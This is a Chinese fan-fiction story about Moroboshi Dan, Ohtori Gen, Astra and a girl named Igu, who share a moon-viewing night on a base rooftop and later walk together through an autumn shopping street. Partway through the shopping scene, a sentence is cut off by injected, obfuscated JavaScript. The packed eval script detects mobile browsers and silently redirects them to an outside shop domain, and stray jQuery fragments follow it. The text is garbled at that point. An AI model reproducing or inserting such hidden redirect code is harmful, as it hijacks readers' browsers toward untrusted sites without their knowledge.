1983年10月30日周五晴
好久不见阿斯特拉哥了，这几天又见面了。
——
今天是十五夜，月见节。
基地的天台是伊咕选的。她说那里离月亮最近。
傍晚的时候她就开始准备了。一个小矮桌，擦干净了，搬到天台靠南的位置。桌面上铺了一块浅色的布，桌上面摆上芒草，边角被风压住。她放了四杯茶，三盘月见团子，正好十五个，还有一碟剥好的柿子和板栗芋头的什么。她看着那四只茶杯的摆放位置调整了好几次，又往盘子里多添了两颗团子——然后她退后两步看了看，又往前一步把那两颗团子拿走了。诸星团端着另一盘东西走上来的时候，看见她正在重新排列桌上的茶杯间距。他看了一眼，没有说什么，把手里那盘盐烧秋刀鱼放在桌子边缘。“还有谁要来？”
伊咕的手指在第四只杯沿上停了一瞬。“……他说今天会来。”
诸星团没有追问。他在桌边坐下来。他已经换了一件卡其色的风衣，领口翻得平整，肩线清晰。天台的光线暗，只有远处城市的灯火和头顶正在升起的月亮从侧面照亮他的轮廓。他的眉骨高，眼窝深，侧脸在月光下线条分明。他坐着的时候背是直的，手臂搭在膝盖上，指尖微微垂着。他坐在那里，沉默着，不需要占据太多空间，但他占据的那一小块区域是稳的。
伊咕在他旁边坐下来，双腿收拢，裙摆盖住膝盖。她今天穿了一件白色的薄毛衣，领口有一圈细小的蕾丝边，黑色的直发披在肩上。月光落在她侧脸上——她的脸型比去年更尖了一些，下颌的弧线收得干净，像是被时间慢慢描出来的。眉毛细而淡，眼睛大而圆，月光在她的瞳孔里凝成一小团白色的光晕，像一枚被小心放置在深色水面上的反光。右眼下方那颗泪痣在月色里几乎看不见了。她安静地坐着，双腿并拢，手指放在膝盖上，像一幅正在等墨干透的画。
脚步声从楼梯口传来，节奏很快，步子踩得实。凤源从楼梯口走出来，嘴里还咬着一根剥了一半的柿子条。他看见桌上的配置之后顿了一下：“——这么正式？”
“十五夜当然要正式。”伊咕说。
“你小时候过节都在地上铺块布就坐了。”
“长大了就正式了。”
凤源把柿子条整根塞进嘴里，拍了拍手，在伊咕对面坐下来。他坐下来的姿态很松——一条腿屈着，另一条腿伸直，一只手撑在身后的地面上，另一只手指尖随意地放在膝盖上。他的脸在月光下格外分明，眉骨高，鼻梁直，下颌的弧线干净利落，嘴角即便不笑也带着一点微微上扬的弧度。他穿着深灰色的衬衫，领口稍微敞开一点，露出锁骨的线条。他靠在那里像一把刚刚调过音的乐器，不需要用力也能发出好听的声音。
他坐定之后，抬头看了一眼月亮。“今天真的圆。像被谁磨过的。”
“本来就是圆的。”
“去年好像没这么亮。”
“去年你训练到十一点。根本没看。”
凤源张了张嘴，发现自己确实无法反驳，于是低头拿了一颗团子放进嘴里。“……那今天补上。”
三个人围着矮桌坐下。月亮正在从楼群上方升起来，颜色从初升时的暗橘色变成了一种透亮的银白，边缘清晰得像被切割过。茶杯里的热气在月光下变淡，融进夜色里。
楼梯口又传来了脚步声。比凤源上来时慢很多，每一步都踩得很轻。伊咕侧过头。
阿斯特拉从楼梯口走出来时，先停了一步。他在台阶顶端站了一拍，目光扫过天台上的三个人——诸星团、凤源、伊咕——然后才迈出下一步，向桌边走来。他穿了一件黑色的外套，领口收得紧，衣摆比凤源的略长一些，边缘平整。他的身形和凤源相似但更窄，肩宽比凤源窄了半指，腰线收得更紧。他的脸和凤源有七分像，但轮廓更薄，下颌收得更窄，眉骨的弧度更柔和，眼窝的深度也比凤源略浅一些。他站在那里的时候，目光是垂着的，像在等别人先开口，又像在确认自己该不该来。月光落在他脸上，他的五官被照得清晰——鼻梁直，嘴唇薄，眼尾微微下垂，睫毛在眼睑下投出细密的阴影。他的皮肤比凤源白一些，在月光下泛着一种偏冷的色调，像被月光泡了很久的瓷片。
“我是不是来晚了？”
“没有。”伊咕说，“团子还热着。”
阿斯特拉在伊咕旁边坐下来。他坐下来的动作很轻，几乎没有带起声响。他的目光落在桌面那盘月见团子上，看了几秒，没有伸手，像是还在确认这些东西确实是摆给他看的。伊咕把盘子往他的方向推了推。“吃吧。我做的。”
阿斯特拉伸手拿了一颗。他的手指修长，骨节分明，指腹在团子表面停了一瞬才捏起来。他咬了一口，嚼得很慢，像在确认味觉是否还在正常运作。月光照在他脸上，他的睫毛在他的眼睑下方投下更密的阴影。
诸星团坐在对面，看着他吃团子的动作，没有说话。但他在确认阿斯特拉确实在吃之后，收回了目光，低头喝了一口茶。然后他又看了一眼月亮。
“今天月亮圆。”伊咕说。
阿斯特拉抬头看向天空。他看月亮的目光和凤源不同——凤源是看，他是望，目光越过月亮本身，落在一个更远的位置上。像在隔着月亮看什么东西。“……我很久没有看过月亮了。”
“现在补上。”凤源说，“伊咕说的。”
阿斯特拉的嘴角动了一下。弧度不大，像水面被风碰了一下又恢复了原状。但那一瞬间他脸上的线条松动了一些，像冰面底下有什么东西正在缓慢地流动。“她总是说补上。”
“因为我擅长补。”伊咕说，“你下次来，还可以补别的。”
安静了片刻。月亮继续上升，光变得更亮了。诸星团一直没有说话，但他往伊咕的杯子里添了一点热茶，又往阿斯特拉面前的空碟边放了一颗团子。他没有看他们，目光落在月亮的方向，像在确认月亮不会突然消失。风从东南方向吹过来，带着入夜后的凉意，但桌边是暖的。伊咕把腿收拢了一点，把外套拢了拢。她的侧脸在月光下线条清晰，睫毛在眼睑下投出一道细长的阴影。她看着月亮的时候表情很安静，像在听一段远距离传来的、很轻的声音。
阿斯特拉也看着月亮。他的坐姿没有变，但他的肩线比刚才低了一些。他端起了伊咕给他倒的那杯茶，喝了一口，然后他把茶杯放回桌面。“……谢谢你们叫我。”
“明年也叫你。”伊咕说，“后年也是。”
阿斯特拉没有再回答。但他在伊咕说完那句话之后，把杯沿多握了一拍才放下去。他的嘴角还留着刚才那一丝极淡的、像被风吹过的弧度，像一道被月光照亮的、正在变浅的旧痕。
诸星团在月色里调整了一下坐姿，把外套下摆重新叠好。他坐在矮桌外侧，像个被月光镀了一层旧银的守卫。月亮从云层后面完全露出来了，边缘清晰，光落在整片天台上。
四个人围着一张小矮桌坐着，桌面上还有半盘团子和四杯没喝完的茶。月光把他们的影子铺在一起，分不清谁是谁的，像一片被拉长的、正在缓缓流动的深色水面。
伊咕拿起最后一颗板栗递给阿斯特拉，又拿起最后一个团子掰成两瓣，一瓣递给凤源，另一瓣塞嘴里。
凤源看着月亮慢慢吞下那半个团子，忽然说了一句：“这比去年圆。”
阿斯特拉没有接话，但他在月色里舒展了一下肩线，像是很久没有坐在一个不需要警觉的地方了。他继续看着月亮，目光不再像刚才那样穿透它，而是落在它的表面上。它的光正落在伊咕的发顶上，像一层被小心铺开的银粉。
——
十一月的第二个周六，风已经冷下来了。
伊咕站在基地门口，红色围巾绕了两圈，末端垂在胸前，随着风轻轻晃。她穿了一件深棕色的短外套，领口翻着，露出里面米白色的高领毛衣——上次和诸星团一起买的那件，穿了一个月之后已经越穿越合身了。黑发披在肩上，发尾被风吹得微微翘起来。她的脸大半埋在大红色围巾里，只露出眉眼——眉毛细而淡，眼睛大而圆，热烈而鲜艳的颜色显得她皮肤更加娇嫩，眼睛里带着这个年纪特有的安静的好奇。
凤源从走廊里走出来的时候正在穿外套。他穿着深灰色的夹克，拉链拉到胸口，里面是一件黑色的高领。他的步子不急，但每一步都踩得实，走路的姿态和他这个人一样——松弛的，灿烂的，爽朗的。他走到玄关的时候侧过头看了一眼伊咕。“你围巾绕了两圈。今天没那么冷。”
“到了晚上会冷的。”
“你什么时候学会看天气了？”
“你教我的。你说风从西北方向来的时候会降温。”
凤源停了一下，然后他笑了。那个笑从嘴角先动，然后漫到眼角，在眉骨下方留下几道浅浅的纹路。“……我好像确实说过。”
“你说过的话我都记得。”
他弯腰换鞋的动作很快，直起身来的时候额前的碎发被带起来又落回去，落回去之后还是散的，他没有去拢。他站在门口的侧影里，肩线平整，下颌的弧线干净利落，整个人像一张刚被展开的、还带着印刷余温的海报。他看了一眼门外。“队长呢？”
“他今天有会。说我们不用等他。”
“那走吧。”
两个人还没迈出玄关，电梯门开了。阿斯特拉从里面走出来，手里拿着一件叠好的外套，还没来得及穿上。
他穿得比凤源薄一些——一件深色的长袖，领口收得紧，外面套了一件浅灰色的薄风衣，衣摆刚到膝盖。他的身形比凤源窄了半指，肩线平，腰收得紧，整个人站在那里像一幅被仔细调过比例的素描。他的脸和凤源有七分像，但下颌收得更窄，眉骨的弧度更柔和，眼尾微微下垂，在室内灯光下投出极浅的阴影。他的皮肤在十一月的冷光里泛着一种偏冷的色调，像一枚刚从溪水里捞出来的旧银币。他的嘴角是平的，但不是绷紧的那种平，是像一个人在等什么的时候自然呈现的姿态。
“我要出门买东西，和你们顺路。”
伊咕看了他一眼。“……你昨天没说。”
“昨天还不知道。”阿斯特拉把外套穿上，动作不快，但每一步都利落。他在门口站定，微微侧过头，目光扫过凤源又扫过伊咕，然后落向门外。“走到商业街大概二十分钟。走吧。”
三个人出了基地。下午的风比上午大了一些，路边的银杏树正在落叶，整条路被铺成一种不均匀的金黄色。伊咕走在中间，凤源走在左边，阿斯特拉走在右边。三个人之间的距离没有刻意调整，但自然地形成了一个刚好能并排走过去的宽度——凤源步子大，稍微放慢了一些；阿斯特拉步子浅，稍微加快了一些；伊咕走在中间，被两边的节奏夹着，不需要自己调整速度，步伐自然地跟上了他们合拢后的节奏。
商业街的入口处立着一排橘黄色的灯柱，灯光在下午四点半的天色里刚刚开始显得有分量。路边的店铺都在橱窗里摆出了秋季的装饰——干花、南瓜、深红色的布艺摆设。伊咕在一家杂货店的橱窗前面停下来，弯着腰看里面一排玻璃瓶装着的枫叶糖浆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808386|210581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。凤源走过头了两步才停下来，回头看她，他走回来站在她旁边，也弯下腰去看。“想要？”
“没有。就是看看。它的颜色很亮。”
“亮就买回去。”
“买回去放哪里？”
“放你房间桌子上。”
“桌子上已经放了太多东西了。”
凤源直起身，没有再劝。但他记住了那排玻璃瓶的位置。阿斯特拉站在不远处，没有靠近橱窗，但也没有走远。他站在那里，双手插在风衣口袋里，目光落在伊咕弯腰看橱窗的侧影上——她的侧脸被橱窗里的灯光照得暖洋洋的，睫毛在眼睑下投出一道细密的阴影。他看了一会儿，然后把目光移开了。
三个人继续往前走。路过一家卖热红薯的推车时，凤源停下来买了三个，用纸袋包着，一个递给伊咕，一个递给阿斯特拉。阿斯特拉接过热红薯的时候，指尖碰到纸袋时停了一瞬，像是被温度重新提醒了什么。“……很久没有吃过这个了。”
“你上次吃是什么时候？”
“……不记得了。”
凤源看了他一眼，没有追问。他自己先咬了一口，烫得缩了一下嘴，然后笑了。“烫。但是甜。”
伊咕把红薯掰成两半，吹了吹，然后小口咬了一下。她的动作很慢，吃完之后，又把剩下的半块叠进原来的纸袋里，放进外套口袋。“这个比红叶馒头甜。”
“红叶馒头是红豆馅的。这个是蜜薯。不一样。”
“那都好吃。”
阿斯特拉也低头咬了一口。他的吃法比凤源慢一些，像在确认味觉的准确性。他的嘴角在咬下第一口的时候微微动了一下——很小的一个幅度，像水面被极轻的风碰了一下。他没有说话，但他继续吃了第二口。
路过一家唱片店的时候，店里的音乐从敞开的门里流出来。一首老歌，钢琴开头，然后是缓慢的弦乐。伊咕放慢了脚步，侧耳听了几拍，然后她认出来了。“这首……爸爸的音响里放过。”
“队长听歌？”凤源有些意外。
“他不听。他放着当背景音。但是这首他放过好几次。”
阿斯特拉也停下来了，听着那段钢琴，然后他说：“……这是很久以前的歌了。”
“你怎么知道？”
“我听过。在很远的地方。”
他没有具体说“很远的地方”是哪里，但他站在那里，风把他的风衣下摆轻轻掀动了一下。他的脸在唱片店暖黄色的灯光里明暗各半，眼睫在灯下投出更浓的阴影。他的目光落在店里某个方向，但不在看任何东西，像在听一段已经结束很久、正在慢慢重新浮现的声音。
凤源站在旁边，看着阿斯特拉的侧脸。他的目光在阿斯特拉的眉骨和下颌之间停了一下，有些感慨，“走吧，风变大了。”
三个人继续往前走。在经过路口等红灯的时候，阿斯特拉侧过头看了伊咕一眼。她的头发被风吹乱了，几缕发丝贴在脸颊上，她没有去拢，只是安静地看着对面即将变绿的小人形灯。她又伸手把围巾重新绕了一圈，指尖在脖颈处压了一下才放下来。街对面有一个卖烤团子的小摊。空气里飘着甜酱油的焦香，和深秋傍晚的凉混在一起，像一层正在变稠的暖意。“再走十分钟就回去了，”凤源说，“到家天刚好黑。”
阿斯特拉没有回答，但他在等绿灯的时候微微侧了一下身，让风从他的方向挡过来，正好隔在风和她之间。他看着街对面那家烤团子摊，等红灯变了，才放下挡风的手。“回去吧。”
三个人沿着来时的路往回走。路两边的灯已经全部亮了，把路面照成一段一段的暖色。伊咕走在中间，从口袋里掏出之前那半块红薯，掰了一块递给阿斯特拉。阿斯特拉接过去的时候，指尖碰到她指尖的那一刻微微停顿了一下——很短的一瞬——然后他把那块红薯放进嘴里。“冷了还是甜的。”“冷了的甜和热了的甜不一样。”“哪个更好？”“冷的甜更慢一些。”
凤源走在左边，只是带着笑意听着，没有说话。他走路的姿态依然是松开的，插在口袋里的手微微动了一下，像在纸袋深处把最后那一片余温焐得更久了一些。风吹过来，把头顶的银杏叶吹落了几片，落在他们前面的路面上。伊咕踩过其中一片，发出轻微的脆响。
三个人回到基地的时候，天色已经完全暗了。门口的灯亮着，不知是谁留的。
伊咕在玄关换鞋的时候，阿斯特拉在她后面站了一会儿，然后他说：“今天谢谢你们带上我。”
伊咕没有回头。“是你带上我们。我们说好了要顺路的。”
阿斯特拉的声音停顿了一瞬。“……嗯。顺路。”他的影子在灯光下被拉长了一截，在暗色里显得很轻。“下次如果你们想去什么地方——也可以顺路。”
凤源停下来，站在走廊入口，手里那件灰夹克已经脱下来搭在手臂上。他侧过头，借着走廊尽头漏过来的光，他伸出手搂住阿斯特拉。“你这句话我等了很久了。”
阿斯特拉没有再回答。他的嘴角动了一下，很小的一下，但这次没有收回去。
伊咕站在走廊更深处，门廊的灯照亮了她的侧脸——睫毛被光剪成两排分明的细影，围巾的末端垂在胸前，末端被她的手指轻轻捏住。她侧过身把围巾解开，叠好，放在鞋柜旁边，转身往走廊里面走去了。她的脚步声很轻，在走廊里响了几拍，然后消失了。余下的两个人还留在玄关处，一个站着，一个靠墙站在走廊入口。
灯光从上方照下来，在两个身影之间铺开一层薄薄的、像是被温过的光。